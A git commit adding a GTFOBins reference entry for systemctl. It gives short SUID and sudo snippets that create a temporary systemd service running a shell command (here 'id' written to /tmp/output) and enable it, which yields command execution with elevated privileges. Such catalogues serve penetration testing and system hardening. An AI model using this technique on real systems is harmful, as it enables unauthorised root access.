Add systemctl

master
bstapes 2019-01-29 05:12:29 -08:00 committed by Andrea Cardaci
parent 0109792b7e
commit a2886b643d
1 changed files with 23 additions and 0 deletions

23
_gtfobins/systemctl.md Normal file
View File

@ -0,0 +1,23 @@
---
functions:
suid:
- code: |
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
sudo:
- code: |
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
---